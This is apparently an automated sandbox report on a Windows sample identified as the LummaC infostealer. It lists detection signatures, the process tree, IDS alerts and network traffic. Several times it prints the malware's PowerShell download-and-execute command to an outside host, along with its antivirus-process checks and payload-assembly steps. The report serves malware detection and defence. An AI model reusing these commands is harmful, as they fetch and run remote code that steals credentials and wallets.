Edit tour

Windows Analysis Report
appFile.exe

Overview

General Information

Sample name:	appFile.exe
Analysis ID:	1581281
MD5:	7c498eca1b725e8a85fef298184ccbb9
SHA1:	77ce8a334475d9469c43f668b6b09feb04768500
SHA256:	d385d42cc611f7964ea583e10d991118f91456e88d76b3be14c047e4acdaab5c
Tags:	exeuser-zhuzhu0009
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Drops PE files with a suspicious file extension

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

May use bcdedit to modify the Windows boot settings

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

appFile.exe (PID: 6468 cmdline: "C:\Users\user\Desktop\appFile.exe" MD5: 7C498ECA1B725E8A85FEF298184CCBB9)

cmd.exe (PID: 6584 cmdline: "C:\Windows\System32\cmd.exe" /c move Shore Shore.cmd & Shore.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6852 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 6872 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 7000 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 6988 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7080 cmdline: cmd /c md 723356 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 2872 cmdline: extrac32 /Y /E Guitar MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 4284 cmdline: findstr /V "Principle" Portions MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 980 cmdline: cmd /c copy /b ..\Requirements + ..\Ul + ..\Pupils + ..\Vista + ..\Sound + ..\Shelf F MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Ted.com (PID: 4348 cmdline: Ted.com F MD5: 62D09F076E6E0240548C2F837536A46A)

powershell.exe (PID: 7032 cmdline: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

S25734VPZD3VQL5I0DLUI2DAUAHZO.exe (PID: 3412 cmdline: "C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe" MD5: 1EBAB72F39900F4DB9D82A4850B32ABD)

S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp (PID: 2000 cmdline: "C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp" /SL5="$4041A,11205210,845824,C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe" MD5: A62041070E18901131CBBE7825EC4EC7)

S25734VPZD3VQL5I0DLUI2DAUAHZO.exe (PID: 6948 cmdline: "C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe" /VERYSILENT MD5: 1EBAB72F39900F4DB9D82A4850B32ABD)

S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp (PID: 6944 cmdline: "C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp" /SL5="$5041A,11205210,845824,C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe" /VERYSILENT MD5: A62041070E18901131CBBE7825EC4EC7)

timeout.exe (PID: 6972 cmdline: "timeout" 9 MD5: 100065E21CFBBDE57CBA2838921F84D6)

conhost.exe (PID: 2792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3912 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH | find /I "wrsa.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 3652 cmdline: tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 412 cmdline: find /I "wrsa.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 1464 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH | find /I "opssvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7036 cmdline: tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 3672 cmdline: find /I "opssvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 2020 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH | find /I "avastui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1344 cmdline: tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 1900 cmdline: find /I "avastui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 5660 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH | find /I "avgui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1456 cmdline: tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 5916 cmdline: find /I "avgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 4428 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH | find /I "nswscsvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6612 cmdline: tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 6980 cmdline: find /I "nswscsvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 6568 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH | find /I "sophoshealth.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1072 cmdline: tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 2680 cmdline: find /I "sophoshealth.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

vsv_tool.exe (PID: 2136 cmdline: "C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe" MD5: C12ED31F29EF510393AE36661F44F102)

choice.exe (PID: 2896 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Ted.com F, ParentImage: C:\Users\user\AppData\Local\Temp\723356\Ted.com, ParentProcessId: 4348, ParentProcessName: Ted.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 7032, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Ted.com F, ParentImage: C:\Users\user\AppData\Local\Temp\723356\Ted.com, ParentProcessId: 4348, ParentProcessName: Ted.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 7032, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Ted.com F, ParentImage: C:\Users\user\AppData\Local\Temp\723356\Ted.com, ParentProcessId: 4348, ParentProcessName: Ted.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 7032, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Ted.com F, ParentImage: C:\Users\user\AppData\Local\Temp\723356\Ted.com, ParentProcessId: 4348, ParentProcessName: Ted.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 7032, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Ted.com F, ParentImage: C:\Users\user\AppData\Local\Temp\723356\Ted.com, ParentProcessId: 4348, ParentProcessName: Ted.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 7032, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Shore Shore.cmd & Shore.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6584, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 6988, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T10:21:25.561664+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.94.92	443	TCP
2024-12-27T10:21:30.682504+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	104.21.94.92	443	TCP
2024-12-27T10:21:35.030514+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	104.21.94.92	443	TCP
2024-12-27T10:21:37.289098+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	104.21.94.92	443	TCP
2024-12-27T10:21:39.456880+0100	2028371	3	Unknown Traffic	192.168.2.4	49740	104.21.94.92	443	TCP
2024-12-27T10:21:41.870553+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	104.21.94.92	443	TCP
2024-12-27T10:21:43.903017+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	104.21.94.92	443	TCP
2024-12-27T10:21:45.964411+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	104.21.94.92	443	TCP
2024-12-27T10:21:48.855903+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	185.161.251.21	443	TCP
2024-12-27T10:21:50.970420+0100	2028371	3	Unknown Traffic	192.168.2.4	49745	172.67.214.186	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T10:21:29.417050+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49733	104.21.94.92	443	TCP
2024-12-27T10:21:33.528237+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49737	104.21.94.92	443	TCP
2024-12-27T10:21:46.738072+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49743	104.21.94.92	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T10:21:29.417050+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49733	104.21.94.92	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T10:21:33.528237+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49737	104.21.94.92	443	TCP

ET MALWARE Possible Windows executable sent when remote host claims to send a Text File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T10:21:51.853713+0100	2008438	1	A Network Trojan was detected	172.67.214.186	443	192.168.2.4	49745	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T10:21:44.701886+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49742	104.21.94.92	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://klipsyzogey.shop/int_clp_sha.txt

Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe

ReversingLabs: Detection: 13%

Multi AV Scanner detection for submitted file

Source: appFile.exe

Virustotal: Detection: 14%

Perma Link

Source: appFile.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.94.92:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.94.92:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.94.92:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.94.92:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.94.92:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.94.92:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.94.92:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.94.92:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.214.186:443 -> 192.168.2.4:49745 version: TLS 1.2

Source: appFile.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: umdmxfrm.pdb source: appFile.exe
Source:	Binary string: msdadc.pdb source: appFile.exe
Source:	Binary string: WalletProxy.pdb source: appFile.exe
Source:	Binary string: mprext.pdbGCTL source: appFile.exe
Source:	Binary string: msvfw32.pdb source: appFile.exe
Source:	Binary string: msident.pdbGCTL source: appFile.exe
Source:	Binary string: odpdx32.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: appFile.exe
Source:	Binary string: WSClient.pdbGCTL source: appFile.exe
Source:	Binary string: ws2help.pdb source: appFile.exe
Source:	Binary string: winsockai.pdbGCTL source: appFile.exe
Source:	Binary string: ODBCCR32.pdb source: appFile.exe
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000010.00000002.2149016419.0000000002DCC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2149016419.0000000002DFC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-shutdown-l1-1-0.pdb source: appFile.exe
Source:	Binary string: mscat32.pdb source: appFile.exe
Source:	Binary string: UserDataLanguageUtil.pdb source: appFile.exe
Source:	Binary string: mprext.pdb source: appFile.exe
Source:	Binary string: msctfui.pdb source: appFile.exe
Source:	Binary string: appxprovisionpackage.pdb source: appFile.exe
Source:	Binary string: hnetmon.pdb source: appFile.exe
Source:	Binary string: CHxReadingStringIME.pdb source: appFile.exe
Source:	Binary string: mscpxl32.pdb source: appFile.exe
Source:	Binary string: msdaenum.pdbGCTL source: appFile.exe
Source:	Binary string: cmifw.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: appFile.exe
Source:	Binary string: servicemodelregai.pdb source: appFile.exe
Source:	Binary string: tapiperf.pdbGCTL source: appFile.exe
Source:	Binary string: l2nacp.pdbGCTL source: appFile.exe
Source:	Binary string: licmgr10.pdb source: appFile.exe
Source:	Binary string: nddeapi.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-core-sysinfo-l1-2-1.pdb source: appFile.exe
Source:	Binary string: sppinst.pdb source: appFile.exe
Source:	Binary string: odbcji32.pdbGCTL source: appFile.exe
Source:	Binary string: wshunix.pdbGCTL source: appFile.exe
Source:	Binary string: snmpapi.pdb source: appFile.exe
Source:	Binary string: >ile-l1-1-0.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-fibers-l1-1-1.pdb source: appFile.exe
Source:	Binary string: IMEDICAPICCPS.pdbGCTL source: appFile.exe
Source:	Binary string: pntw.pdbGCTL source: appFile.exe
Source:	Binary string: SLWGA.pdbUGP source: appFile.exe
Source:	Binary string: msjint40.pdb source: appFile.exe
Source:	Binary string: netfxconfig.pdbGCTL source: appFile.exe
Source:	Binary string: ir41_qc.pdb source: appFile.exe
Source:	Binary string: ir41_qcx.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: appFile.exe
Source:	Binary string: odbcbcp.pdb source: appFile.exe
Source:	Binary string: PSModuleDiscoveryProvider.pdb source: appFile.exe
Source:	Binary string: msdatt.pdbGCTL source: appFile.exe
Source:	Binary string: mfdvdec.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: appFile.exe
